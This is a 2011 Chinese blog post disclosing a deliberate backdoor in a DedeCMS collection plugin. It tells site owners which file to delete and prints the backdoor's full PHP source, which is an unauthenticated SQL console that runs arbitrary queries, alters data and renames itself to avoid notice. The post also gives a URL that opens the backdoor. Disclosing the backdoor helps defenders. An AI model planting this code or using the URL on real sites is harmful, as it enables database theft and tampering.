DEDE采集大师官方留后门的删除办法


Posted in PHP onJanuary 08, 2011

去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:

<?php 
require_once(dirname(__FILE__)."/../include/common.inc.php"); 
if(emptyempty($dopost)) 
{ 
$dopost = ""; 
} 
if($dopost=="rename") 
{ 
if(rename('dedesql.query.php','arc.sqlquery.class.php')){ 
echo "成功!"; 
}else{ 
echo "失败!"; 
} 
exit(); 
} 
if($dopost=="viewinfo") 
{ 
if(emptyempty($tablename)) 
{ 
echo "没有指定表名!"; 
} 
else 
{ 
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename); 
$dsql->Execute('me'); 
$row2 = $dsql->GetArray('me',MYSQL_BOTH); 
$ctinfo = $row2[1]; 
echo "<xmp>".trim($ctinfo)."</xmp>"; 
} 
exit(); 
} 
if($dopost=="index") 
{ 
require_once(DEDEINC.'/arc.partview.class.php'); 
$envs = $_sys_globals = array(); 
$envs['aid'] = 0; 
$pv = new PartView(); 
$row = $pv->dsql->GetOne('Select * From `#@__homepageset`'); 
$templet = str_replace("{style}",$cfg_df_style,$row['templet']); 
$homeFile = dirname(__FILE__).'/'.$row['position']; 
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile)); 
$fp = fopen($homeFile,'w') or die("无法更新网站主页到:$homeFile 位置"); 
fclose($fp); 
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet; 
$pv->SetTemplet($tpl); 
$pv->SaveToHtml($homeFile); 
$pv->Close(); 
echo "成功更新首页!"; 
exit(); 
} 
else if($dopost=="query") 
{ 
$sqlquery = trim(stripslashes($sqlquery)); 
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery)) 
{ 
echo "<span style='font-size:10pt'>删除'数据表'或'数据库'的语句不允许在这里执行。</span>"; 
exit(); 
} 
if(eregi("^select ",$sqlquery)) 
{ 
$dsql->SetQuery($sqlquery); 
$dsql->Execute(); 
if($dsql->GetTotalRow()<=0) 
{ 
echo "运行SQL:{$sqlquery},无返回记录!"; 
} 
else 
{ 
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!"; 
} 
$j = 0; 
while($row = $dsql->GetArray()) 
{ 
$j++; 
if($j>100) 
{ 
break; 
} 
echo "<hr size=1 width='100%'/>"; 
echo "记录:$j"; 
echo "<hr size=1 width='100%'/>"; 
foreach($row as $k=>$v) 
{ 
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n"; 
} 
} 
exit(); 
} 
if($querytype==2) 
{ 
$sqlquery = str_replace("\r","",$sqlquery); 
$sqls = split(";[ \t]{0,}\n",$sqlquery); 
$nerrCode = "";$i=0; 
foreach($sqls as $q) 
{ 
$q = trim($q); 
if($q=="") 
{ 
continue; 
} 
$dsql->ExecuteNoneQuery($q); 
$errCode = trim($dsql->GetError()); 
if($errCode=="") 
{ 
$i++; 
} 
else 
{ 
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>"; 
} 
} 
echo "成功执行{$i}个SQL语句!<br><br>"; 
echo $nerrCode; 
} 
else 
{ 
$dsql->ExecuteNoneQuery($sqlquery); 
$nerrCode = trim($dsql->GetError()); 
echo "成功执行1个SQL语句!<br><br>"; 
echo $nerrCode; 
} 
exit(); 
} 
if($dopost=="view") 
{ 
;echo '<html> 
<head> 
<meta http-equiv=\'Content-Type\' content=\'text/html; charset=gb2312\'> 
<title>SQL命令行工具</title> 
<link href=\'img/base.css\' rel=\'stylesheet\' type=\'text/css\'> 
</head> 
<body background=\'img/allbg.gif\' leftmargin=\'8\' topmargin=\'8\'> 
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA"> 
<tr> 
<td height="19" background="img/tbg.gif"> 
<table width="96%" border="0" cellspacing="1" cellpadding="1"> 
<tr> 
<td width="24%"><strong>SQL命令运行器:</strong></td> 
<td width="76%" align="right"> <b><a href="sys_data.php"><u>数据备份</u></a></b> 
| <b><a href="sys_data_revert.php"><strong><u>数据还原</u></strong></a></b> 
</td> 
</tr> 
</table> 
</td> 
</tr> 
<tr> 
<td height="200" bgcolor="#FFFFFF" valign="top"> 
<table width="100%" border="0" cellspacing="4" cellpadding="2"> 
<form action="" method="post" name="infoform" target="stafrm"> 
<input type=\'hidden\' name=\'dopost\' value=\'viewinfo\' /> 
<tr bgcolor="#F3FBEC"> 
<td width="15%" height="24" align="center">系统的表信息:</td> 
<td> 
<table width="100%" border="0" cellspacing="0" cellpadding="0"> 
<tr> 
<td width="35%"> 
<select name="tablename" id="tablename" style="width:100%" size="6"> 
'; 
$dsql->SetQuery("Show Tables"); 
$dsql->Execute('t'); 
while($row = $dsql->GetArray('t',MYSQL_BOTH)) 
{ 
$dsql->SetQuery("Select count(*) From ".$row[0]); 
$dsql->Execute('n'); 
$row2 = $dsql->GetArray('n',MYSQL_BOTH); 
$dd = $row2[0]; 
echo " <option value='".$row[0]."'>".$row[0]."(".$dd.")</option>\r\n"; 
} 
;echo ' </select> 
</td> 
<td width="2%"> </td> 
<td width="63%" valign="bottom"> 
<div style="float:left;margin-right:20px;"> 
<input type="Submit" name="Submit1" value="优化选中表" class="coolbg np" onClick="this.form.dopost.value=\'opimize\';" /> 
<br /> 
<input type="Submit" name="Submit2" value="修复选中表" class="coolbg np" onClick="this.form.dopost.value=\'repair\';" style="margin-top:6px;" /> 
<br /> 
<input type="Submit" name="Submit3" value="查看表结构" class="coolbg np" onClick="this.form.dopost.value=\'viewinfo\';" style="margin-top:6px;" /> 
</div> 
<div style="float:left"> 
<input type="Submit" name="Submit5" value="优化全部表" class="coolbg np" onClick="this.form.dopost.value=\'opimizeAll\';" /> 
<br /> 
<input type="Submit" name="Submit6" value="修复全部表" class="coolbg np" onClick="this.form.dopost.value=\'repairAll\';" style="margin-top:6px;" /> 
</div> 
</td> 
</tr> 
</table></td> 
</tr> 
<tr> 
<td height="200" align="center">返回信息:</td> 
<td> 
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe> 
</td> 
</tr> 
</form> 
<form action="" method="post" name="form1" target="stafrm"> 
<input type=\'hidden\' name=\'dopost\' value=\'query\'> 
<tr> 
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运行SQL命令行: 
<input name="querytype" type="radio" class="np" value="0"> 
单行命令(支持简单查询) 
<input name="querytype" type="radio" class="np" value="2" checked> 
多行命令</strong></td> 
</tr> 
<tr> 
<td height="118" colspan="2"> 
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea> 
</td> 
</tr> 
<tr> 
<td height="53" align="center"> </td> 
<td> 
<input name="imageField" type="image" src="img/button_ok.gif" width="60" height="22" border="0" class=\'np\' /> 
</td> 
</tr> 
</form> 
</table> 
</td> 
</tr> 
</table> 
</body> 
</html> 
';} 
?>
PHP 相关文章推荐
header()函数使用说明
Nov 23 PHP
一段防盗连的PHP代码
Dec 06 PHP
php中的实现trim函数代码
Mar 19 PHP
PHP下编码转换函数mb_convert_encoding与iconv的使用说明
Dec 16 PHP
php设计模式 Proxy (代理模式)
Jun 26 PHP
php中mysql模块部分功能的简单封装
Sep 30 PHP
php流量统计功能的实现代码
Sep 29 PHP
php的ZipArchive类用法实例
Oct 20 PHP
PHP判断数据库中的记录是否存在的方法
Nov 14 PHP
PHP、Java des加密解密实例
Apr 27 PHP
盘点PHP和ASP.NET的10大对比!
Dec 24 PHP
PHP守护进程化在C和PHP环境下的实现
Nov 21 PHP
php !function_exists(&quot;T7FC56270E7A70FA81A5935B72EACBE29&quot;))代码解密
Jan 07 #PHP
PHP备份/还原MySQL数据库的代码
Jan 06 #PHP
php循环检测目录是否存在并创建(循环创建目录)
Jan 06 #PHP
全局记录程序片段的运行时间 正确找到程序逻辑耗时多的断点
Jan 06 #PHP
Discuz Uchome ajaxpost小技巧
Jan 04 #PHP
php INI配置文件的解析实现分析
Jan 04 #PHP
PHP strncasecmp字符串比较的小技巧
Jan 04 #PHP
You might like
用PHP实现的随机广告显示代码
2007/06/14 PHP
php中用数组的方法设置cookies
2011/04/21 PHP
php获取本周星期一具体日期的方法
2015/04/20 PHP
PHP代码优化技巧小结
2015/09/29 PHP
再谈javascript图片预加载技术(详细演示)
2011/03/12 Javascript
Jquery 表格合并的问题分享
2011/09/17 Javascript
js实现单一html页面两套css切换代码
2013/04/11 Javascript
JavaScript判断变量是否为undefined的两种写法区别
2013/12/04 Javascript
Js实现无刷新删除内容
2015/04/29 Javascript
深入理解jQuery事件绑定
2016/06/02 Javascript
Web前端框架Angular4.0.0 正式版发布
2017/03/28 Javascript
浅谈js-FCC算法Friendly Date Ranges(详解)
2017/04/10 Javascript
MUI 实现侧滑菜单及其主体部分上下滑动的方法
2018/01/25 Javascript
小程序异步问题之多个网络请求依次执行并依次收集请求结果
2019/05/05 Javascript
微信小程序实现元素渐入渐出动画效果封装方法
2019/05/18 Javascript
javascript实现导航栏分页效果
2019/06/27 Javascript
Vue中跨域及打包部署到nginx跨域设置方法
2019/08/26 Javascript
Nodejs实现图片上传、压缩预览、定时删除功能
2019/10/25 NodeJs
微信小程序个人中心的列表控件实现代码
2020/04/26 Javascript
vue实现导航菜单和编辑文本的示例代码
2020/07/04 Javascript
详解在IDEA中将Echarts引入web两种方式(使用js文件和maven的依赖导入)
2020/07/11 Javascript
Windows下python2.7.8安装图文教程
2016/05/26 Python
python使用RNN实现文本分类
2018/05/24 Python
使用Python和OpenCV检测图像中的物体并将物体裁剪下来
2019/10/30 Python
Python 读取有公式cell的结果内容实例方法
2020/02/17 Python
keras实现VGG16 CIFAR10数据集方式
2020/07/07 Python
Python用摘要算法生成token及检验token的示例代码
2020/12/01 Python
python实现计算器简易版
2020/12/17 Python
美国最大的在线水培用品商店:GrowersHouse.com
2018/08/14 全球购物
加拿大时装零售商:Influence U
2018/12/22 全球购物
意大利网上药房:Farmacia 33
2020/01/27 全球购物
高中自我鉴定
2013/12/20 职场文书
中学生国旗下讲话稿
2014/04/26 职场文书
2014年安全生产目标责任书
2014/07/23 职场文书
工作岗位职责范本
2015/02/15 职场文书
学校运动会通讯稿
2015/07/18 职场文书